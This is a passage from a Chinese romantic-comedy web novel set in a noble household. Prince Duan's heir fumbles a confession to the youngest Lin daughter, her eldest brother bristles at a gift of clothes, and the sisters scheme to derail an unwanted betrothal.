罢了罢了,他还是去找太子妃说话去吧,毕竟他可是有娇妻在怀的。 宋晏来的很快,众人刚一坐定他人便来了。 雅间很大,只要打开了窗户便可以看到外头的戏台。 因为姚君远的金钱操作,怡园的管事说只剩了这一个大雅间,姐妹四个也不在意,毕竟多一个姚君远也不多,都是亲戚嘛。 只是她们这刚一坐定便听见了敲门声。 宋晏进门,姚君远起身眨了眨眼道,“你可来了,再不来这戏就要开场了。” 宋晏点头,面上并无异样,只是微微有些散乱的头发还是点出了他的几分急迫。 众人起身行礼。 姐姐们都在,林诗芸老实呆在姐姐身侧,冲宋晏扬起了一个大笑脸。 神仙哥哥可真好看呢,即使头发有些凌乱,也还是有种放荡不羁的美。 今日的宋晏一身玄衣,宽肩细腰的,叫林诗芸没忍住多看了两眼。 不知道这衣裳下头是什么样的,有没有八块腹肌啊…… 林诗情看看表哥再看看宋晏,心里直叹气,表哥这人,怎得越来越不靠谱了,帮着送东西就罢了,人怎么也给约来了,瞎胡闹! 姚君远笑着挑挑眉,转头去问林诗情想听哪出戏。 林诗情心里对表哥心里有些气闷,可看着表哥低声下气的模样实在发不了火,无奈接下了表哥递来的册子,认真选戏。 林诗芸撅了撅嘴,瞪了姚君远一眼,也没冒冒失失地去打扰姐姐,伸手捏了块点心四处打量起雅间来。 宋晏迫不及待地来到林诗芸身前,盯着小姑娘轻声开口:“芸儿最近可好?” 林诗芸回望来人,笑着点了点头,将嘴里的点心咽下才道,“我很好,晏哥哥可还好?” 宋晏点头,眼睛却看到了林诗芸抬起的手腕。 林诗芸取出帕子擦了擦嘴角,胳膊上的衣服往下滑了一些,露出来白嫩的手腕。 虽说有些失礼,但宋晏却在看到了林诗芸白皙的手腕上一片红痕时沉了脸。 林诗芸见宋晏眼睛直勾勾的盯着自己手腕也不说话,便随着宋晏的眼神看了看,笑着解释道:“害,应该是这衣服有些糙,磨了一下,不碍事的。” 衣服是孙娘子一早买的,虽不是锦缎,料子也还不错,只是林诗芸皮肤娇嫩,穿了一会便磨出了红痕。 好在里衣是自己的,只手腕那处有些红了。 宋晏的眉心紧紧皱起,脱口而出道:“衣裳磨的?” 他眼睛盯着那不甚细腻的衣料脸黑了又黑。 林诗芸被宋晏吓了一跳,她还是头一次见到宋晏如此性情外露。 只见宋晏朝身后招了招手,吩咐道,“去给四姑娘买些成衣送来,要最好的!” 定安侯府穷疯了不成!怎得给芸儿穿粗布烂衫! 林诗芸有些迷糊,这个,就红了一点而已,晏哥哥怎么这般生气啊?她又没受伤,他有啥好生气的? 嗯……晏哥哥不会是喜欢她吧? 这边的动静也引起了众人的注意,眼看着下人走的匆忙,转头众人便听见林诗芸脱口而出的那句,“晏哥哥,就红了一点点,没事的,你怎么这么紧张,你,你该不会是喜欢我吧?” 第36章 林诗芸瞧着宋晏紧皱的眉头,心道不会吧,就磨红了一片而已,晏哥哥作何会这般紧张。 嗯,晏哥哥果然也是喜欢自己的。 她眯了眯眼,挑着眉故意道:“晏哥哥,就磨红了一片而已,你怎么这么紧张?” “你,你该不会是喜欢我吧?” 林诗芸给宋晏问了个猝不及防,他先是怔愣了一瞬,耳尖悄悄的红了,他有些紧张,嘴巴不由自主的开始回答,“自然喜欢,芸儿妹妹娇憨纯真,我是,” 后面的话尚未说完,林诗芸便满意的笑了出来,她笑的眉眼弯弯,眼尾的小痣泛着红光,边笑边点头,神仙哥哥都说喜欢她了,她果真是人见人爱! 下一瞬她竟伸出了手蹦跶着拍了拍宋晏的肩头,赞许道:“晏哥哥,你实在是太有眼光了!” 晏哥哥肯定是拿她当妹妹一样喜欢! 说完还得意的伸出了大拇指,一脸你眼光真好的模样。 嘴里还嘟嘟囔囔,“神仙哥哥都说喜欢我,我果然是人见人爱啊!” 其实宋晏想说的是,芸儿妹妹娇憨纯真,我自然是心悦妹妹的。 他急啊,重要的后半句还未说出口呢。 围观了全程的众人,嘴角都快笑抽了。 林诗芸没听懂,她们可是听懂了啊! 几个人忍笑忍的实在辛苦,可不笑又憋不住,笑的太大声又怕伤了宋晏的面子。 毕竟宋晏的身份在那儿呢。 其实抛去身份,就宋晏的一张脸,端的是面如冠玉貌胜潘安,一朵高岭之花,清清冷冷,是只可远观而不可亵渎的。 她们不能明晃晃的嘲笑。 但奈何实在忍不住啊。 宋晏简直就是一颗心掏出来给瞎子看。 可惜了。 除了林诗情,其他姐妹俩加上姚君远都觉得宋晏可惜了,甚至,她们心中还有那么一点点的同情。 哎,这么个仙人般的公子遇上了个没心没肺。 说她傻吧,她精的很,说她精吧,自己身上的事她是一点儿也看不明白。 林诗瑶捂着嘴,尽量叫自己不笑出声,低头跟林诗意蛐蛐道:“看上四妹妹,也算是端王世子眼神不好,只能注定情路坎坷了,人吗,不可能事事如意的。” 以林诗瑶对林诗芸的了解,四妹妹是胃口有多大,心便有多大的。 林诗意笑的捂着肚子直抽抽,对大姐的话十分赞同,补刀道:“嗯,虽然他是天之骄子天潢贵胄,可碰到四妹妹,且算他倒霉吧,这情爱的苦看样他是非吃不可了。” 然后二人便笑趴在了榻上直不起腰来了。 好在屋里几个伺候的丫鬟俱在门口处,没听清二人的对话,宋晏的面子才没丢出去太远。 姚君远抿着嘴捂着脸,也是没憋住笑出了声。 林诗情无奈,嗔怪的看了表哥一眼,只是那眉眼弯弯的,也是没忍住笑。 这个芸儿,看别人身上的事看的挺清的,一到了自己这,就犯起来迷糊了。 以林诗情对妹妹的了解,林诗芸这会子还没明白过来宋晏的心意呢。 她所理解的喜欢,和宋晏说的喜欢可不是一个意思。 可笑着笑着林诗情便有些笑不出来了,若是叫林诗芸明白了宋晏的心意,怕是宋晏只用一张脸便能将妹妹给哄走了,毕竟除了美食,美男对林诗芸的吸引力也非常强大。 宋晏还是妹妹自小便念叨的神仙哥哥。 姚君远自是不会任兄弟如此尴尬,他 轻咳两声调整好表情,走近两人,替宋晏解围道:“小表妹说的对,像小表妹这般可爱又美丽的姑娘,自然没有人不喜欢的,” 边说边冲宋晏挑眉,“对不对啊晏哥儿。” 姚君远表达的意思很明显,你这时机不对,这么多人呢,表白还是另找时间吧。 宋晏心里苦啊。 这事真是他始料未及的,芸儿一问,他便不由自主的乱了阵脚,不分场合,连话都不会说了。 宋晏脸上燥热,他迅速调整心绪,开口道,“是了,芸儿妹妹天真可爱,我同大家一样喜欢。” 林诗芸正得意呢,毕竟今日她可是随随便便便“勾引”到了“二姐夫”,连神仙哥哥也说喜欢她,她乐呵呵的点头,对对,就这么夸我!我果然是天选大女主,没有人不喜欢我! 林诗情看到妹妹的表情顿时松了口气,还好,这是还没明白过来,当别人都在夸她呢。 林诗瑶觉得自己笑的脸疼,再看四妹妹那厚脸皮的模样刚想开口刺她两句呢,便听到了敲门声。 众人定睛一看,是林景行来了。 林景行看到屋内的两位男子脸色微微一变,他扫视一圈,淡笑着开口道:“今日这是吹的什么风,竟有两位世子陪同我几个妹妹听戏?” 姚君远迅速收敛表情,同宋晏对视,这个大舅哥架子摆的比你端王世子的派头都大,上来便兴师问罪。 二人抱拳行礼,宋晏身份比众人都高,淡笑着开口道:“今日同君远约着来听戏,这便同几位姑娘遇上了。” 偶遇? 林景行冷笑,他自然不信这是巧合的。 林景行淡笑着看向林诗瑶,林诗瑶揉了揉肉笑僵了的脸老实回道:“戏园管事说今日就剩了一个雅间,其余的都被人包了。” 林景行真的要被气笑了,他挑着眉,面色不渝,“哦,何人如此财大气粗啊,竟将这戏园的雅间全给包了?这般有心之人,倒是叫人刮目相看了!” 林景行说话的时候颇有些咬牙启齿,这两个狗东西,如今都明目张胆的觊觎他妹妹,连装都不装吗! 林诗瑶几个这才察觉出不对来,是了,虽说今日风和日丽的,但是瞧着底下的马车也不多啊,怎么就没了雅间了? 林诗意抿了抿嘴,朝着大姐姐摇了摇头,眼睛往姚君远和宋晏撇了撇,林诗瑶顿时明白过来。 合着这俩人是醉翁之意不在酒,跟她们姐妹几个下套呢。 林诗瑶心生不喜,但是已经出来了,又舍不得马上回府,一时间还有些纠结。 林诗情这也反应过来了,但她根本没往自己身上想,她觉得这些都是表哥帮着宋晏做的,心说大哥撒撒火气也好,省得以后这端王世子又来下套。 林诗芸知道肯定是姚君远的主意,撇了撇嘴,乖巧的站到姐姐身侧,懒得搭理。 姚君远笑容勉强,心知是不能得罪这位的,忍着吧。 他清了清嗓子,也不指望宋晏能低下身段说话,笑着打哈哈,“是啊,兴许是有人全包了哈哈。” 宋晏一张脸倒是看不出什么表情,又恢复了一贯高冷的人设,但听到姚君远的话还是轻轻的嗯了一声,表示了赞同。 林景行面上冷笑,却没有真的发作。 主要是也不能真的给得罪了,毕竟除了都是位高权重的,还是亲戚和拐了弯的亲戚。 林景行冷哼了两声,坐下道:“都是亲戚,林某也在,便留下一同听戏吧。” 转身又看向自己四个如花似玉的妹妹,换了副温柔的语气道:“可点好戏了?” 林诗情轻轻点了点头,“点了,大哥可要点一台?” 林景行摇了摇头,他今日是去办事去了,半路在怡园门口看到了自家的马车,听到下人说四个妹妹都在此,他才上来的。 倒是叫他发现了这么了不得的事情。 尤其是他刚进门的时候看到端王世子看芸儿的那个眼神,他只觉得要火冒三丈了。 至于姚君远,呵,他才发现只要二妹妹出门便都能遇到他! 狗东西,都在这等着呢! 不过,这个姚君远倒是比谢子阳要合适二妹妹,但是他听说前阵子国公府在同郡主府议亲,不知定下来的是不是这位了。 他这边还在想着,外头的管事进来,将一侧的窗户打开,好戏开始。 林诗芸对听戏没那么浓厚的兴趣,听了一会便捂着嘴有些昏昏欲睡起来。 当一台戏结束,林诗芸已经困的不像话了。 看着打盹的林诗芸,林景行扬了扬唇角,如此乖巧可爱的妹妹,再过两年议亲也是可以的,侯府养的起。 他撇了一眼低头喝茶的宋晏,开口道:“可是困了?芸儿不是念叨着想去春暖阁吃茶?哥哥这便带你去。” 林诗芸点点头,又觉得不太合适,万一三个姐姐还想听呢? 便眼巴巴的瞅着三个姐姐询问可还想听? 林诗瑶和林诗意是想听也不敢听了,她们觉得这个时候,还是老实的跟着大哥走比较好。 于是,宋晏和姚君远便眼看着心上人跟着哥哥走了。 林诗芸临走时冲宋晏悄悄地摆了摆手,无声的道了别。 林诗情则是面无表情的从表哥身前走了过去的,明显是生了气了。 姚君远心道完了完了,玩大发了,早知道就老实的坐俩包厢了,这下好了,大舅哥得罪了,表妹也生气了。 宋晏倒是不觉,毕竟刚刚芸儿是冲他笑了的,幸灾乐祸的看了好友一眼,那脸上的你不如我四个字都快贴脑门上了。 只是可惜啊,他刚一下楼便再也笑不出来了。 端王府那没眼力见的下人,竟然将他命人买好的成衣直接送上了定安侯府的马车上了…… 林景行瞧着太阳大,便同妹妹一起上了马车,可这一进去便看到了那好高一摞的衣裳,姹紫嫣红的,什么颜色都有。 他点点头,笑着打趣道:“看样你们几个今日收获颇丰啊。” 四姐妹是一脸的茫然,林诗瑶脱口而出道:“没有啊,我们是量身定做的,过几日成衣铺直接送,” 林诗意扯了扯大姐姐的袖子,林诗瑶突然想到好像是听到宋晏吩咐下人去买什么成衣,顿时闭了嘴。 林诗芸也想了起来,眨巴眨巴眼睛诚实道:“可能是晏,是宋晏叫人送来的?” 亲哥在前,她必是不能叫宋晏哥哥的。 林诗情叹了口气,这衣裳在明晃晃的这呢,想也知道是谁送的,瞒也瞒不住,索性也便没捂妹妹的嘴。 于是乎,林景行直接气炸了。 好你个端王世子,这还没怎么着呢,就敢明目张胆地给他妹妹送衣裳! 是觉得他定安侯府买不起怎么着! 还送来一摞专门打他的脸! 林景行气急! 便不打算给宋晏脸了! 一把推开车门咬牙切齿道:“给我将东西扔下去!” 车夫顿时明白过来,这衣裳不是自家姑娘买的,急忙爬上去将衣裳抱了下来。 车夫正打算往地上扔呢,端王府的下人小跑着上前道:“误会误会,小的奉命给王妃买的衣裳,店家错送到侯府马车上了,小的该死小的该死。” 林景行冷哼一声,想出言讥讽却刚好看到了已经下楼的宋晏。 他知道这里不是说话的地方,只带着怒气看了宋晏两眼,一甩衣袖便转身上了马车。 宋晏扶额,只觉得自己完蛋了,这回是真将大舅哥给狠狠得罪了。 第37章 马车内林景行的脸又黑又沉。 姐妹四个没一个敢说话的。 林诗芸挠了挠有些发痒的脖子,心说端王府的下人也太莽撞了些,送衣裳不知道偷偷摸摸的送,非得在大哥眼皮子底下送,这下好了,白瞎那么多银钱,晏哥哥也是,直接给她银子叫她自己买多好,可惜了可惜了。 这时候的林诗芸是一整个的财迷心窍,完全无视了宋晏一颗起起落落又落落落了的心。 毕竟她是穷过来的,别人的钱也是钱啊。 林景行看着一脸无知的林诗芸,揉了揉眉心,温声开口:“端王世子为何突然送芸儿衣裳?” 林诗芸看着面色不是太好的大哥,嘟了嘟嘴,诚实的撩起衣袖露出手腕,“我拿帕子擦嘴的时候袖子滑下去了,露出了手腕这的红痕 ,他看到了,便叫人去给我买衣裳。” 林景行这才注意到林诗芸身上衣裳的面料,果然不是侯府主人会用的,乍看上去没什么问题,可仔细瞧的话,并不太好,那一片红痕分明是衣裳给磨出来的。 他皱着眉问道,“你出府时穿的可是这件?” 林诗芸面上小心翼翼的看了眼大哥,心里却想着怎么蒙混过关,摇摇头道:“不是这件,” 她脑子转的飞快,低下头,一副做错事的模样,“我同姐姐们逛了一会便饿了,便去吃了些东西,不小心将衣裳给弄脏了,便就近处买了一身换上了。” 应该怕大哥怪罪,又带着几分可怜和委屈抬起了头,撅着嘴看着大哥继续道:“我的月钱都被我送去给谢静茹添妆了,便随意买了一件换上了,我,我没想到穿上会有不适,这衣裳其实也挺贵的” 只是说着说着没了底气,声音越来越小。 林诗情听的心里一紧,她是看到妹妹换了身衣裳,询问春雨春雨只说是吃东西蹭到了,她见衣裳无伤大雅便没有多问。 林诗情皱着眉头翻看林诗芸的两个手腕,果然都磨红了。 林诗情气的拍了林诗芸一下,“穿上舒不舒服你自己不知道啊!” 林诗情眼睛再次看向林诗芸领口,果然,脖颈处也磨的通红一片,比手腕处还要严重些。 林诗情眉头紧皱,是她大意了,她真的没发现妹妹脖子上的红痕,林诗情心疼的看着妹妹,眼圈一下便红了。 林诗意和林诗瑶一脸无语,她们自然知道林诗芸干嘛去了,林诗瑶被林诗芸气的咬牙,不是给她钱了吗,怎么还是不舍得花!缺着她了还是怎么着! 她刚想张嘴骂两句但是被林诗意给拦住了。 林诗意冲着大姐姐摇摇头,她估计换衣裳这事应该另有隐情,林诗瑶自然也不是个傻的,到了嘴边的话硬生生给改了,“平日里鬼精鬼精的,这到自己身上就不知了,磨了这么一片不疼啊?” 林诗芸又挠了挠脖子,实诚道:“不是很疼,就是有点痒。” 林景行一张脸是黑了又黑,已经堪比包青天了。 四妹妹自小便懂事,凡事能忍便忍,受了委屈也不声不响的,虽说这些年锦衣玉食的养着,家人也会刻意娇纵她一些,但好像还是没把她的性子给掰过来。 林景行沉声道:“你们几个先回府,叫女医给芸儿看看,” 林景行实在是心疼这个妹妹,他尽量放缓了语气,“大哥去买些茶点带回去,你们几个在府里吃也是一样的。” 林诗芸几个乖乖点头,林景行并未再说什么,叫停了马车之后翻身上马去了春暖阁。 姐妹三个看着林诗芸知叹气。 尤其林诗情,擦了擦眼角生气道:“这么大的人了,总是叫人担心。” 眼看大哥策马走远,林诗瑶长臂一伸手就揪上了林诗芸的耳朵,怒气冲冲道:“说!干什么坏事去了!我不是给你银钱了!谁叫你苛待自己的!” 这话是毒了些,手上其实根本没用力,言语里透着的也都是关心爱护。 林诗芸嗷嗷叫疼,林诗情正心疼着妹妹呢,忙去护着,林诗意劝架,一时间车厢里又闹腾起来了。 车夫在外头虽听不清里头的内容,却是直叹口气,他努力操控着缰绳好叫马车走的平稳一些,世子刚一走四位姑娘便开始闹,罢了罢了,都是小场面,他早有经验。 好半晌闹完了,林诗芸撅着嘴看着三个姐姐委屈巴巴的,小声控诉道:“我是因为正好偶遇了那谁,他派人跟踪我,我怕走不了才躲到别人家里去换的衣裳,姐姐们还凶人家。” 哼,芸宝很委屈,但是芸宝就不说。 林诗瑶皱眉,“等一下,你说的什么玩意,偶遇了谁?” 林诗芸无语,好嘛,姐姐们没听懂。 于是她放低了声音道:“偶遇了谢子阳啊。” 三人瞪大了眼睛!是了,一激动忘了这茬了! 林诗情也想起来在醉仙楼妹妹是跟她提过这事,忙道:“怎么遇到的?你没叫他认出来吧?” 林诗芸抿着嘴得意的点头,“没有,没有,二姐姐放心,” 她瞅了瞅车厢的门,姐妹们心领神会,四个脑袋凑到了一起,“不过明日我同他约好了去悦味轩用午膳,咱们得商量商量,明日我怎么混出来。” 林诗瑶思趁道:“嗯,这事回去再说吧,我觉得你有必要把你们偶遇的经过再详细讲上一遍,咱们得确保他真的没认出你,才能进行下一步行动。” 林诗意和林诗情俱是同样的想法,车厢内不是说话的地方,大哥临走时留下了几个贴身护卫,她们还是小心一些。 不过林诗意却突然问道,“你去谁家换的衣裳?” 林诗芸早就想好了,跟几个姐姐介绍起了孙娘子,说孙娘子是春雨的亲姐姐。 “得亏孙娘子的院子有个鲜为人知的后门,我才能甩掉那人偷跑回来,人家可是帮了我大忙了。” 林诗瑶莫名:“春雨的亲姐姐?她不是自小被卖进府的吗?还能记得从前家中的事?” 林诗芸点头,认真道:“她家中是有姐妹三个,还有个妹妹同她一起也被卖到京城了,但不知被卖到哪里了,她姐姐是被父母留下干活的,但是后来也被卖了。” 林诗芸直叹气,古代这些卖女儿的人家,可真的太多了,她们姐妹是胎投的好。 “春雨同姐姐相认已一年了,平日里经常过去,这些我都是知道的。今日这事有些突然,正好她便住在附近,我们便去了她的住处,这衣裳也是她给我买的,” 林诗芸将裙摆扯给她们看,“姐姐们看看,对普通人家来说,这衣裳已经极好了,是好料子的,” 林诗芸撅着嘴,“是我自己不好,太娇气了,养着养着咋还忘了本了呢,小时候穿都穿不暖,这倒好,这么好的衣裳都不能穿。” 林诗芸是真的觉得可惜的,言罢她又摇摇头,嘴里嘟嘟囔囔的,“不过听雨应该能穿,她跟我差不多高。” 春雨不行,春雨太高了,又高又壮的。 林诗芸想着正好可以借这个机会,给春雨脱了奴籍。 林诗芸点着头,也不管三个姐姐愿不愿意听,一本正经的开始瞎编,“后来春雨跟我说,大姐十二岁便被高价卖给人当童养媳了,大姐白天黑夜的干活,好不容易将那人供成秀才,那人便休妻弃女,将姐姐娘俩给赶了。姐姐无法,带着女儿偷偷混上北上的商船想某个生路,半路靠岸修整时却被人发现赶了下来,幸好有好心的妇人收留才到了京城,不然娘俩早饿死了。结果到了京城,谁成想那妇人也不是个好的,想留下姐姐给自己丈夫生儿子,姐姐表面上同意,后来寻了机会偷偷跑了出来,娘俩身上也没多少银钱,靠着针线活来混口饭吃,好在后来遇到了春雨,姐妹相认日子这才好了起来。” 林诗芸简直要为自己鼓掌了,就这种剧情,这不是听者伤心闻者流泪啊! 她果然是个天才! 林诗意鼻腔酸涩,“确实挺不容易的,难怪你总是没钱,也贴补了不少吧?” 林诗瑶也叹息一声道:“春雨打算怎么办,一直养着姐姐和她女儿吗?” 林诗芸摇头,“孙娘子的绣活很好,她早就找到工作了,在绣坊做事呢,小姑娘也上学了,春雨比我大三岁,也该赎身去过自己的日子了,我想着,” 林诗芸有些迟疑的看着林诗情,“我想求母亲放了春雨的身契,春雨她还想找找她妹妹,我是同意的,姐姐你说,母亲能同意吗。” 林诗情略作思趁,点点头,给了林诗芸一个肯定的答案,“母亲定会的,春雨不是家生子,这么多年在你身边一直尽心尽力,母亲会理解的。” “只要你舍得,母亲不会不放人。” 姐妹三个丝毫没有怀疑故事的真实性,毕竟这个时代,还有很多很多被卖来卖去的女子…… 能赎身,总归是件好 事。 林诗芸笑着应好,她总算找到了完美的理由解决了春雨卖身契的事情,她可真是个大聪明! 林诗情又翻看妹妹的脖颈道:“回去先换身衣裳,还得请女医过来看看才行。” 林诗芸乖乖点头,林诗瑶和林诗意俩人则是迫不及待的想听林诗芸是怎么偶遇那小纨绔的,这一下马车,四人便直奔芳澜院。 可是买完糕点的林景行却没有当即回府,他取下身上的荷包同糕点一并交给小厮,吩咐道:“将这些一并交给四妹妹,我稍后回府。” 他看了看不远处的已经点起了灯的春风楼,朝身后招了招手道:“去告诉她,来活了。” 谢相二子确实不是良配,那便好好的闹上一闹吧。 身后的人消失后林景行并未回府,而是翻身上马去接父亲和二叔下值。 任何事只要牵扯到皇家,便不是小事。 他没去关心在戏园门外他叫人扔衣裳一事有没有传出去,若是端王世子有心,这事必不会叫外人知晓。 只是,他该怎么说服父亲,不要同意这门亲事呢 芳澜院内四姐妹笑做一团。 “噗哈哈哈哈哈!” “你是说他正骂你呢,看到你转身的那一瞬便一本正经的装起来了?” 林诗瑶捂着嘴,快要笑岔气了,实在是太好笑了,小流氓上一瞬间在用银子砸人呢,下一瞬看到是美人便文绉绉起来了,这不要命吗哈哈哈哈哈哈。 “对啊,他说他是因为家中母亲生病太过着急才这般的,叫我不要生气。” 林诗芸一挑眉毛,表情得意的很,“那我能生气吗,我说公子对母亲一片赤子之心,小女子自愧不如,嘿嘿,然后我就要走,但是我猜到他肯定还得喊我,于是我在心里默数三,二,结果还没到一呢他果然喊住我了,说要请我用膳,不过我没应他,我跟那掌柜说的明日再过来,但是我没直接同意他的邀约,我是不是很聪明。” 林诗情觉得心里有些酸胀,又觉得有些好笑,她是觉得妹妹受了委屈的,但是偏偏妹妹又乐在其中,说到底,妹妹还是为了她,不然妹妹何必去跟那小纨绔纠缠。 林诗情扯了扯嘴角,接过春雨递过来的湿帕子将手擦净才道:“嗯,芸儿最聪明了,只是大聪明还是赶紧穿上衣裳吧,一会再受了凉就不好了。” 女医看过说林诗芸身上无事,摸些药膏过两日便好了。 这半天林诗情都在帮妹妹擦药膏,林诗芸绘声绘色的说着今日的事情,春雨默默的守在一边,时不时添油加醋几句,屋内倒是欢声笑语一直不断的。 笑够了的姐妹四人商量明日去不去悦味轩。 最后的三人商量的结果是,不去。 林诗芸人傻了,不去,那她今日做的不就成无用功吗? 第38章 林诗芸人傻了,一脸懵逼问道:“为何不去啊?现在不是正是接触他的时候吗?” 林诗意挑眉抿嘴,眯着眼睛摇摇头,脸上是志在必得的笑容,“你不懂男子,这个时候你必须吊着他,他心里才会一直惦记着你,但是他又见不到你,他就会时时刻刻都想见你,脑子里满满的都是你,这个,才是你今日偶遇的意义。” 林诗瑶和林诗情也是一脸赞同的模样,林诗芸长大了嘴巴,她三姐姐不得了,是分析男子来头头是道的,厉害啊。 恋爱经验为零,但是理论知识够强。 “那,那我还要去吗?要哪天去?”林诗芸有些听不懂,到底是去勾引还是不勾引了。 林诗意思考了半晌才道:“三日吧,三日之后你再去一趟,到时候再见机行事,这几日大哥也会有所行动呢,你用不用再出面都另说。” 林诗瑶点头道:“若是大哥那里进展顺利,估计不必你再出去抛头露面,这些只是咱们先商定的计划。” 林诗芸点头,林诗意眼睛忽的亮了起来,笑道:“耳听为虚,耳见为实,若是那谢二公子做了什么事恰巧叫二叔二婶其中一个看到,那这事必黄啊!” 林诗瑶一拍大腿,“是啊!若是有女子上门闹的时候,恰巧婶娘路过!” 林诗瑶点点头,觉得非常可以,“这事我来同大哥商量,计划赶不上变化,咱们多做几手准备,四妹妹能不露面就不露面,叫那小纨绔惦记去吧!” 林诗情也觉得甚好,这样便不必担心妹妹掉马露馅了。 林诗芸乖巧应好,觉得她的姐姐们都聪明,这计划,必是万无一失的,哪里还用得着她出门啊。 不过那悦味轩有机会还是得去一趟,今日没吃到三套鸭,她还十分可惜呢。 如此四姐妹便将之后的事情一并商量好了,林诗芸也不用操心明日怎么偷跑出去了,悠哉悠哉的靠在榻上吃起茶来。 她今日的心情十分好,除了身上起了些红痕,可谓是十分顺利,可是吧,有一个词叫乐极生悲,用在林诗芸身上就非常合适。 林诗芸叫女医的事情姚氏很快就知道了。 姚氏一听以为芸儿出了什么事情,忙起身往芳澜院去。 她带着王妈妈过来的时候太阳已经西斜,落日熔金,霞光万仗。 林诗瑶同林诗意已经走了,姐俩正一起吃着大哥哥送来的点心聊天,林诗芸手里还捏着大哥哥给的零用钱,嘴角已经咧到耳后了。 哎呀果然还是得卖惨,这不,二百两银票到手,嘿嘿,她可真是个天才! 大哥哥真好!她明日一定好好去谢谢大哥哥! 这边还没高兴完,姚氏便到了。 姐妹俩忙不迭起身相迎。 姚氏摆摆手道:“听丫鬟说芸儿叫了女医,可是哪里不适?” 林诗芸同林诗情二人一边一个扶着母亲坐下,乖巧回答,“无事的母亲,只是今日穿的衣裳有些不合适,手腕和脖颈被磨红了些,姐姐给摸了药膏,已经好了。” 王妈妈忙上前查看,嘴里哎吆哎吆的,怎得出了这样的事情,是哪件衣裳磨的? 被王妈妈给翻来覆去的查看,林诗芸忙给姐姐递去求救的眼神。 林诗情笑着解释,“还不是她自己馋嘴,我们逛街她半道去吃东西,将衣服吃脏了,就近去买了身衣裳换上了,” 春雨忙将衣裳拿来,知道这事自己脱不了责任,低头将衣裳举起跪在一边。 林诗情叹了口气,拿着衣裳同母亲说情,“这事也不能全怨芸儿,您知道的,妹妹将自己攒的钱全给谢静茹做了添妆,这不,自己去买衣裳的时候便没舍得买太贵的,这才给闹成这般。” 姚氏无奈,这事怨不着春雨,怪芸儿自己小气了,她没理林诗芸,对地上的春雨道:“春雨起来吧,以后不能万事都听你们姑娘的,竟瞎胡闹。” 春雨躬身退下,姐妹俩顿时松了一口气。 还好还好,母亲叫春雨退下就是没怀疑。 言罢姚氏看向林诗芸,难得板起了脸训斥,“不舍得买衣裳,那些银子要留着全部去买吃食了?你啊你啊,越大越会胡闹了,谁家千金小姐如你这般,只要是遇到吃,便不管不顾的?” “堂堂侯府贵女,一件衣裳也不舍得买?传出去不是叫人笑话!你可真是,” 姚氏被林诗芸气的头疼,但也没舍得说重话的,“我看你还长不长记性了!” 林诗芸也知道母亲说的不是小题大做,毕竟事关侯府的面子,母亲训斥她是应该的。 于是站在一旁乖乖点头承认错误,“芸儿知错了,芸儿就是,就是嘴馋了……下次不敢了,母亲您别生气。” 姚氏无奈,心道这丫头下回绝对还敢,但看着小女儿乖乖的模样叹了口气道:“身上可还有不适?这事也怪母亲,知道你们外出也没多叫你们带些银钱,” 林诗芸抿嘴,其实母亲给的不少了,月钱都涨到二十两了,普通人家一年的开销也没这么多。 她忙道:“没有没有,母亲您千万别这 么说,这不是,不是芸儿自己想省些银钱吗,我就是觉得府里还有那么多衣裳未穿呢,便没买那么贵的,想着随便穿一会便回府了,而且那衣裳摸起来看起来都还行,是芸儿大意了,母亲您别生气了,芸儿再也不敢了。” 姚氏也不再纠缠,她看了看外头的天色,起身道:“你啊,吃一堑长一智便好,别叫父母担心。” 林诗芸将头点的跟拨浪鼓似的,她真改,不改也不行,这娇嫩的身子穿个衣裳都能磨红了!好生气! 姚氏起身便要走,林诗情想到今日宋晏的事情,觉得还是同母亲说道说道比较好,便说要送母亲回主院。 林诗芸也想,被林诗情一句话给搪塞过去了,姚氏知道女儿跟自己有话说,便叫林诗芸早些用膳休息。 林诗芸乖巧应是,也没察觉出姐姐有什么不对来。 一路上娘俩有一搭没一搭的聊着,直到回了院子,林诗情才将今日宋晏叫人买了一摞衣裳的事情说了出来。 姚氏和王妈妈听完对视一眼,王妈妈开口道:“端王世子也太无礼了些。” 姚氏眉头一皱,问女儿道,“端王世子可有经常同芸儿见面?” 林诗情摇头,回忆道:“芸儿鲜少出门,同世子见面……” “从前也多是在国公府的时候,和姐妹们一起。” 姚氏眉头皱的更深了,“也就是说,宋晏他早就对芸儿起了心思。” 姚氏叹了口气,“单说宋晏的身份和长相,我是同意的,芸儿估计也能看中宋晏的皮囊,可这端王府……实在是一团乱麻,不嫁也罢。” 姚氏可真是太了解林诗芸了,一句话是一针见血。 “芸儿对宋晏可有何想法?” 想到林诗芸今日拍着宋晏肩膀说的话,林诗情如实道:“芸儿对宋晏,也确实是看中皮囊,芸儿倒并未察觉到宋晏对她的不同,只以为宋晏人好,拿她当妹妹待。” 姚氏稍稍松了口气,幸亏小女儿是个神经大条的。 万一真的是郎情妾意,就芸儿那执拗的性子,这事怕谁也阻不了。 丫鬟们已经摆上了晚膳,小儿子林景贤一路小跑着进了门,身后还跟着喊了一路慢点祖宗的奶妈妈。 林景贤一进门就要往母亲身上扑,可看到二姐姐的那一瞬却硬生生的停住了脚,瞬间变成了个小大人的模样,彬彬有礼的同母亲和姐姐问好。 林诗情的眼刀子早就落在了小弟身上,眼神里写满了你再敢没规矩一个试试? 姚氏无奈的看向两人,轻笑着道:“好了,先用晚膳,” 然后看向小儿子道:“快去净手,不然你二姐姐便要带你去了。” 林景贤一听,赶紧去牵王妈妈的手,那意思不言而喻,二姐姐就不必了,王妈妈陪他就很好。 姚氏摇头看着林诗情道,“也就你能治的住你小弟了。” 将今日发生之事如实禀告给侯爷爹和二叔的林景行默默观察二位长辈的反应。 侯爷爹是满脸欣喜,定安侯府终于要出王妃了! 而作为林诗芸亲爹的林怀诚则是眉头紧皱,一言不发,那脸上写满了不愿意,我们芸儿那么乖,怎么能当王妃呢!芸儿就该随心所欲,一世无忧才是!那劳什子端王府,一后院的女子乱糟糟的,芸儿嫁过去定被端王夫妻夹在中间左右为难,不行,绝对不行! 且不说别的,古话说得好,有其父必有其子,那端王就是一张面皮勾搭无数女子,那端王世子宋晏他瞧着长得比他爹还俊美,那万一之后也学着他爹,他的芸儿怎么办!不行!他的芸儿不能吃这个苦!他的女儿,就该快快乐乐的,一世无忧! 于是亲兄弟因为这事还差点吵起来。 林怀诚:“那是我女儿!婚事我说了算!你想嫁叫你女儿嫁去!我女儿不行!” 定安侯林怀安踢了弟弟屁股一脚,生气道:“你以为我不想吗!人家也没看中我女儿啊!那可是皇家!你还挑上了,谁给你的胆!” 林怀诚懒得搭理自家大哥,拍了拍屁股上的脚印转身走了,“反正我不同意!我才懒得搭理你!哼!要嫁将你女儿嫁过去吧!” 